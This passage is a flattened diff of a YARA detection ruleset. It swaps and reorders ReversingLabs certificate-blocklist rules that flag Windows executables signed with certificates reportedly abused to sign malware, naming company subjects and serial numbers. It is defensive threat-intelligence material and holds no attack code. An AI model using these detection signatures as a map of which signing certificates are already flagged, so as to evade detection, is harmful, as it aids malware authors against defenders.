pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO MEDUZA SERVICE GROUP" and pe.signatures [ i ] . serial == "52:3f:b4:03:63:68:dc:26:19:2d:68:82:7f:2d:88:9b" and 1586847880 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_D22E026C5B5966F1Cf6Ef00A7C06682E : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_84F842F6D33Cd2F25B88Dd1710E21137 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "a72a0001-a272-506d-b610-c028ed8ac6da" + id = "202593d3-d63a-5852-b680-516504d92031" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9920-L9938" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3902-L3920" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "33a05d46b40ffdf49bfa5facca41ebdf6bedcabc1cb1f5b9bf2d043ad1c869b0" + logic_hash = "5aad8e95d1306626b63d767fce4706104330dd776b75c09cc404227863564307" score = 75 quality = 90 tags = "INFO, FILE" @@ -20453,21 +42847,21 @@ rule REVERSINGLABS_Cert_Blocklist_D22E026C5B5966F1Cf6Ef00A7C06682E : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AMCERT, LLC" and ( pe.signatures [ i ] . serial == "00:d2:2e:02:6c:5b:59:66:f1:cf:6e:f0:0a:7c:06:68:2e" or pe.signatures [ i ] . serial == "d2:2e:02:6c:5b:59:66:f1:cf:6e:f0:0a:7c:06:68:2e" ) and 1636456620 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DataNext s.r.o." and ( pe.signatures [ i ] . serial == "00:84:f8:42:f6:d3:3c:d2:f2:5b:88:dd:17:10:e2:11:37" or pe.signatures [ i ] . serial == "84:f8:42:f6:d3:3c:d2:f2:5b:88:dd:17:10:e2:11:37" ) and 1586775720 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_3054F940C931Bad7B238A24376C6A5Cc : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_4Fbcaa289Ba925B4E247809B6B028202 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "e5643d08-5957-58b0-8b46-d5e339dfba9c" + id = "d0c4c6c0-d8e3-5efc-a87b-01d1f98a2c18" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9940-L9956" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3922-L3938" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "21c8e8f10d1e4b9eb917c86ac868de2afcd5776a9c1d59149df1d07d8c3e14b9" + logic_hash = "c41a4f9ccda54b9735313edf9042b831e6eaca149c089f74a823cee6719e1064" score = 75 quality = 90 tags = "INFO, FILE" @@ -20477,21 +42871,21 @@ rule REVERSINGLABS_Cert_Blocklist_3054F940C931Bad7B238A24376C6A5Cc : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "POLE CLEAN LTD" and pe.signatures [ i ] . serial == "30:54:f9:40:c9:31:ba:d7:b2:38:a2:43:76:c6:a5:cc" and 1637030220 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Kimjac ApS" and pe.signatures [ i ] . serial == "4f:bc:aa:28:9b:a9:25:b4:e2:47:80:9b:6b:02:82:02" and 1588227220 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_A617E23D6Ca8F34E2F7413Cd299Fc72B : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_1F2E8Effbb08C7Dbcc7A7F2D835457B5 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "3ffb592c-eec5-51b1-9840-b6b72269fc31" + id = "cf032593-e742-56d5-a579-3f38a31e2c0c" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9958-L9976" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3940-L3956" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f307a0b598f0876c003aa43db50e024698b6f93931e626c085f98553c14ec2ae" + logic_hash = "0b446641617d435c3d312592957e19c3d391b0149eafcf9ac2da51e8d9080eb4" score = 75 quality = 90 tags = "INFO, FILE" @@ -20501,21 +42895,21 @@ rule REVERSINGLABS_Cert_Blocklist_A617E23D6Ca8F34E2F7413Cd299Fc72B : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "EXPRESS BOOKS LTD" and ( pe.signatures [ i ] . serial == "00:a6:17:e2:3d:6c:a8:f3:4e:2f:74:13:cd:29:9f:c7:2b" or pe.signatures [ i ] . serial == "a6:17:e2:3d:6c:a8:f3:4e:2f:74:13:cd:29:9f:c7:2b" ) and 1636971821 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "RTI, OOO" and pe.signatures [ i ] . serial == "1f:2e:8e:ff:bb:08:c7:db:cc:7a:7f:2d:83:54:57:b5" and 1581382360 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_387Eeb89B8Bf626Bbf4C7C9F5B998B40 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Aeba4C39306Fdd022849867801645814 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "2f4a26f2-689a-57bd-8028-d3554e339e60" + id = "f8cb78cf-541c-5038-b7af-83679c978ec8" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9978-L9994" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3958-L3976" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2377eeb5316d25752443735e78d0ad7de398a2677f5a0fd45fd6e6c87720d49b" + logic_hash = "82c149f1d8ef93a0df2035690c5cdca935236687bc36a35a84c3d6610eb6902c" score = 75 quality = 90 tags = "INFO, FILE" @@ -20525,21 +42919,21 @@ rule REVERSINGLABS_Cert_Blocklist_387Eeb89B8Bf626Bbf4C7C9F5B998B40 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ULTRA ACADEMY LTD" and pe.signatures [ i ] . serial == "38:7e:eb:89:b8:bf:62:6b:bf:4c:7c:9f:5b:99:8b:40" and 1637141034 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SK AI MAS GmbH" and ( pe.signatures [ i ] . serial == "00:ae:ba:4c:39:30:6f:dd:02:28:49:86:78:01:64:58:14" or pe.signatures [ i ] . serial == "ae:ba:4c:39:30:6f:dd:02:28:49:86:78:01:64:58:14" ) and 1579478400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_292Eb1133507F42E6F36C5549C189D5E : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_028D50Ae0C554B49148E82Db5B1C2699 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "b557864d-c573-5789-9959-8df3036d5ac5" + id = "76ccda8a-bdea-5db2-a3a4-11292bfb3c95" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9996-L10012" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3978-L3994" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "bc3ef217455b74900cae114d25b02325d2bef25c11873342df1dd2369cbce76a" + logic_hash = "e3cc0066cad56d78a3f42e092befa3b0855b2ed33c8465c5ecbb19fec082d35e" score = 75 quality = 90 tags = "INFO, FILE" @@ -20549,21 +42943,21 @@ rule REVERSINGLABS_Cert_Blocklist_292Eb1133507F42E6F36C5549C189D5E : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Affairs-case s.r.o." and pe.signatures [ i ] . serial == "29:2e:b1:13:35:07:f4:2e:6f:36:c5:54:9c:18:9d:5e" and 1638832273 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VAS CO PTY LTD" and pe.signatures [ i ] . serial == "02:8d:50:ae:0c:55:4b:49:14:8e:82:db:5b:1c:26:99" and 1579478400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_5Fbf16A33D26390A15F046C310030Cf0 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_684F478C7259Dde0Cfe2260112Ca9846 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "620c04df-e613-5319-aa00-646c7e0c8031" + id = "840af428-47e0-529e-9db9-8ab9c968f2e3" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10014-L10030" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3996-L4012" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "24bee3563e0867ef6702e7f57bbce7075f766410650ae5ce1e2e8c7b14a3eaca" + logic_hash = "59654ba1df27029a04ef3b1a1bb54f6c15b727f2013923a11a729752b8829743" score = 75 quality = 90 tags = "INFO, FILE" @@ -20573,21 +42967,21 @@ rule REVERSINGLABS_Cert_Blocklist_5Fbf16A33D26390A15F046C310030Cf0 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MACHINES SATU MARE SRL" and pe.signatures [ i ] . serial == "5f:bf:16:a3:3d:26:39:0a:15:f0:46:c3:10:03:0c:f0" and 1638390070 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "LLC \"IP EM\"" and pe.signatures [ i ] . serial == "68:4f:47:8c:72:59:dd:e0:cf:e2:26:01:12:ca:98:46" and 1584981648 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0F007898Afcba5F8Af8Ae65D01803617 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0B7C32208A954A483Dd102E1Be094867 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "6678bd73-bf4d-5576-8bf2-b721ee288da7" + id = "d16e74d8-2c46-508b-b518-a542603ca726" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10032-L10048" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4014-L4030" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "27610bb3bf069991803611474abf44a3bf82fc9283d0412a1c24ae46a3f5352e" + logic_hash = "49e2208a7d2b5684283c1dfc9856f864d16b50f951f58e0252c97419819a46ec" score = 75 quality = 90 tags = "INFO, FILE" @@ -20597,21 +42991,21 @@ rule REVERSINGLABS_Cert_Blocklist_0F007898Afcba5F8Af8Ae65D01803617 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TechnoElek s.r.o." and pe.signatures [ i ] . serial == "0f:00:78:98:af:cb:a5:f8:af:8a:e6:5d:01:80:36:17" and 1638372946 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Win Sp Z O O" and pe.signatures [ i ] . serial == "0b:7c:32:20:8a:95:4a:48:3d:d1:02:e1:be:09:48:67" and 1583884800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_E55Be88Ddbd93C423220468D430905Dd : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_3E72Daf2B9A4449E946009E5084A8E76 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "37e60515-0395-51a5-8bfa-35e3e336d60c" + id = "aa7c6cbe-0794-59e3-a675-93beeccc9784" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10050-L10068" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4032-L4048" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "05b2f297454e7080591b85991b224193eb89fc5074eb3c2e484ceadad2de4cb7" + logic_hash = "f1a7bf6c18e0ebf8aef53feb7d7789ce87c96e00962c64e07a37d968702d2fa5" score = 75 quality = 90 tags = "INFO, FILE" @@ -20621,21 +43015,21 @@ rule REVERSINGLABS_Cert_Blocklist_E55Be88Ddbd93C423220468D430905Dd : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VALVE ACTUATION LTD" and ( pe.signatures [ i ] . serial == "00:e5:5b:e8:8d:db:d9:3c:42:32:20:46:8d:43:09:05:dd" or pe.signatures [ i ] . serial == "e5:5b:e8:8d:db:d9:3c:42:32:20:46:8d:43:09:05:dd" ) and 1637712000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Infoteh63" and pe.signatures [ i ] . serial == "3e:72:da:f2:b9:a4:44:9e:94:60:09:e5:08:4a:8e:76" and 1591787570 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_06Bcb74291D96096577Bdb1E165Dce85 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_11Edd343E21C36Ac985555D85C16135F : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "da483b60-d400-54ef-84e0-ea00b299b466" + id = "219f709f-4e05-5d0e-97a4-eca1e65153a3" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10070-L10086" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4050-L4066" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "00b7ff8f3cbc04c48c71433c384d7a7884b856f261850e33ea4413a12cf5a1b5" + logic_hash = "17feeed4be074a30572eb12fc81dc15d1b06f2d3f7b4b4fb4443391c62ac4d9b" score = 75 quality = 90 tags = "INFO, FILE" @@ -20645,21 +43039,21 @@ rule REVERSINGLABS_Cert_Blocklist_06Bcb74291D96096577Bdb1E165Dce85 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Revo Security SRL" and pe.signatures [ i ] . serial == "06:bc:b7:42:91:d9:60:96:57:7b:db:1e:16:5d:ce:85" and 1637971201 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Pribyl Handels GmbH" and pe.signatures [ i ] . serial == "11:ed:d3:43:e2:1c:36:ac:98:55:55:d8:5c:16:13:5f" and 1589925600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_C8442A8185082Ef1Ed7Dc3Fff2176Aa7 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_093Fe63D1A5F68F14Ecaac871A03F7A3 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "2a56ff80-584b-5b8b-80ae-e763339cd17a" + id = "ce0b23fd-5f79-5b90-8d5c-2ff59ac39df6" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10088-L10106" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4068-L4084" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "74b1b48f0179187ea7bb8ef4663bf13da47f5c6405ecc5589706184564c05727" + logic_hash = "333c58a9af2d94604b637ab0a7280b6688a89ff73e30a93a8daed040fab7f620" score = 75 quality = 90 tags = "INFO, FILE" @@ -20669,21 +43063,21 @@ rule REVERSINGLABS_Cert_Blocklist_C8442A8185082Ef1Ed7Dc3Fff2176Aa7 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Ambidekstr LLC" and ( pe.signatures [ i ] . serial == "00:c8:44:2a:81:85:08:2e:f1:ed:7d:c3:ff:f2:17:6a:a7" or pe.signatures [ i ] . serial == "c8:44:2a:81:85:08:2e:f1:ed:7d:c3:ff:f2:17:6a:a7" ) and 1616976000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SPECTACLE IMAGE LTD" and pe.signatures [ i ] . serial == "09:3f:e6:3d:1a:5f:68:f1:4e:ca:ac:87:1a:03:f7:a3" and 1562716800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0406C4A1521A38C8D0C4Aa214388E4Dc : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Bb26B7B6634D5Db548C437B5085B01C1 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "9019330e-5ab5-5d37-85a1-0e882dbd68ce" + id = "443a876a-dfd7-5a9e-bb15-a44a53363494" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10108-L10124" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4086-L4104" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f6780751ae553771eb57201a8672847a24512e6279b6a4fd843d8ee2f326860a" + logic_hash = "58d574b196f84416eb04000205cd8f4817618003f2948bb0eb7d951c282ef6ff" score = 75 quality = 90 tags = "INFO, FILE" @@ -20693,21 +43087,21 @@ rule REVERSINGLABS_Cert_Blocklist_0406C4A1521A38C8D0C4Aa214388E4Dc : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Venezia Design SRL" and pe.signatures [ i ] . serial == "04:06:c4:a1:52:1a:38:c8:d0:c4:aa:21:43:88:e4:dc" and 1641859201 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO \"IT Mott\"" and ( pe.signatures [ i ] . serial == "00:bb:26:b7:b6:63:4d:5d:b5:48:c4:37:b5:08:5b:01:c1" or pe.signatures [ i ] . serial == "bb:26:b7:b6:63:4d:5d:b5:48:c4:37:b5:08:5b:01:c1" ) and 1591919307 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_12705Fb66Bc22C68372A1C4E5Fa662E2 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_29128A56E7B3Bfb230742591Ac8B4718 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "78f9fdf0-d8c6-5316-8053-42f77adf95d1" + id = "b868d2f2-3852-57a3-be01-32cc16eb2ff7" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10126-L10142" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4106-L4122" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f10316a26e2d34400b7c2e403eab18ab6c1cc94b35f0ac8a3f490d101d29dc8d" + logic_hash = "5a89fec015e56ddddaed75be91a87288dcd27841937d26e3416187913c4f0b85" score = 75 quality = 90 tags = "INFO, FILE" @@ -20717,21 +43111,21 @@ rule REVERSINGLABS_Cert_Blocklist_12705Fb66Bc22C68372A1C4E5Fa662E2 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "APRIL BROTHERS LTD" and pe.signatures [ i ] . serial == "12:70:5f:b6:6b:c2:2c:68:37:2a:1c:4e:5f:a6:62:e2" and 1642464000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Programavimo paslaugos, MB" and pe.signatures [ i ] . serial == "29:12:8a:56:e7:b3:bf:b2:30:74:25:91:ac:8b:47:18" and 1590900909 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_3B0914E2982Be8980Aa23F49848555E5 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_7Bfbfdfef43608730Ee14779Ee3Ee2Cb : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "88ca65c4-ba0d-5676-979b-4fac737d4f21" + id = "fdc2f6a0-8fae-537e-812f-b0c292f76b1e" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10144-L10160" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4124-L4140" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ea7d9fa7817751fef775765b54be5dd4d00c15ca50ac10fb40fb46cc3634c7b0" + logic_hash = "f8f233b78e9d3558b0cd7978e3c5fa32645a3bb706c6fdec7f1e4195cf513f10" score = 75 quality = 90 tags = "INFO, FILE" @@ -20741,21 +43135,21 @@ rule REVERSINGLABS_Cert_Blocklist_3B0914E2982Be8980Aa23F49848555E5 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Office Rat s.r.o." and pe.signatures [ i ] . serial == "3b:09:14:e2:98:2b:e8:98:0a:a2:3f:49:84:85:55:e5" and 1643155200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CSTech Software Inc." and pe.signatures [ i ] . serial == "7b:fb:fd:fe:f4:36:08:73:0e:e1:47:79:ee:3e:e2:cb" and 1590537600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_029Bf7E1Cb09Fe277564Bd27C267De5A : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_62205361A758B00572D417Cba014F007 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "1e66d13c-3345-592c-9bf8-b8a566c8b9e6" + id = "85da8e0e-d791-5fed-b9ea-c681462651a6" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10162-L10178" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4142-L4158" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3f64372d11d61c669580d90cdf2201e7f2904fb3d73d27be2ff1559c9c37614a" + logic_hash = "ebf28921c81191bcf6130baf6532122bb320cc916e38ab225f0acdcb57ea00f3" score = 75 quality = 90 tags = "INFO, FILE" @@ -20765,21 +43159,21 @@ rule REVERSINGLABS_Cert_Blocklist_029Bf7E1Cb09Fe277564Bd27C267De5A : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SAMOYAJ LIMITED" and pe.signatures [ i ] . serial == "02:9b:f7:e1:cb:09:fe:27:75:64:bd:27:c2:67:de:5a" and 1637712001 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "UNITEKH-S, OOO" and pe.signatures [ i ] . serial == "62:20:53:61:a7:58:b0:05:72:d4:17:cb:a0:14:f0:07" and 1590470683 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_D3Aee8Abb9948844A3Ac1C04Cc7E6Bdf : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_4B47D18Dbea57Abd1563Ddf89F87A6C2 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "6da50886-7f15-5565-9a1a-f6fb25a729ac" + id = "689c1f80-3b3c-5bd7-9129-4f508cad7fb4" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10180-L10198" + source_url = 